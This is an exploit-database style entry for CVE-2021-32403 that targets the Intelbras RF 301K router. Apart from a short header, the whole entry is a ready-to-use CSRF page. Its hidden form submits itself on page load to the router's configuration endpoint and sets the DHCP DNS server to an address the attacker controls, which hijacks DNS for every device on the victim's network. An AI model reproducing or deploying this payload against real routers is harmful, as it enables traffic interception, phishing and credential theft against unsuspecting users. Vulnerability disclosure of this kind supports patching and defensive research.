Intelbras Router RF 301K Exploit, 'DNS Hijacking' Cross-Site Request Forgery (CSRF)

# Exploit Title: Intelbras Router RF 301K - 'DNS Hijacking' Cross-Site Request Forgery (CSRF)
# Date: 01/05/2021
# Exploit Author: Rodolfo Mariano
# Version: Firmware 1.1.2-1.1.5
# CVE: 2021-32403

# Exploit Code: 
<html>
    <form action="http://10.0.0.1/goform/setSysTools" method="POST">
        <input name="module3" value="lanCfg" type="hidden">
        <input name="lanIP" value="10.0.0.1" type="hidden">
        <input name="lanMask" value="255.255.255.0" type="hidden">
        <input name="dhcpEn" value="true" type="hidden">
        <input name="lanDhcpStartIP" value="10.0.0.100" type="hidden">
        <input name="lanDhcpEndIP" value="10.0.0.200" type="hidden">
        <input name="lanDns1" value="192.168.0.30" type="hidden">
        <input name="lanDns2" value="" type="hidden">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</html>

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